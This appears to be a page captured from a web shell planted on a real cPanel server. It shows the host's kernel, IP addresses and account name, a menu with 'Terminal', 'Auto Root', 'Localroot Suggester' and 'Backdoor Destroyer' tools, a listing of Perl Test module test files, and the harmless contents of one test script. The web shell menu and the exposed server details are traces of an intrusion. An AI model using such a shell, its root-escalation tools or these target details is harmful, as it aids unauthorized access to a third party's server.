Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
cpan /
Test /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
05_about_verbose.t
2.09
KB
-r--r--r--
2014-12-27 11:48
fail.t
1.82
KB
-r--r--r--
2014-12-27 11:48
mix.t
976
B
-r--r--r--
2014-12-27 11:48
multiline.t
1.04
KB
-r--r--r--
2014-12-27 11:48
onfail.t
592
B
-r--r--r--
2014-12-27 11:48
qr.t
199
B
-r--r--r--
2014-12-27 11:48
skip.t
768
B
-r--r--r--
2014-12-27 11:48
success.t
271
B
-r--r--r--
2014-12-27 11:48
todo.t
1.04
KB
-r--r--r--
2014-12-27 11:48
Save
Rename
# -*-perl-*- use strict; use Test qw($ntest plan ok $TESTOUT $TESTERR); use vars qw($mycnt); BEGIN { plan test => 6, onfail => \&myfail } $mycnt = 0; my $why = "zero != one"; # sneak in a test that Test::Harness wont see open J, ">junk"; $TESTOUT = *J{IO}; $TESTERR = *J{IO}; ok(0, 1, $why); $TESTOUT = *STDOUT{IO}; $TESTERR = *STDERR{IO}; close J; unlink "junk"; $ntest = 1; sub myfail { my ($f) = @_; ok(@$f, 1); my $t = $$f[0]; ok($$t{diagnostic}, $why); ok($$t{'package'}, 'main'); ok($$t{repetition}, 1); ok($$t{result}, 0); ok($$t{expected}, 1); }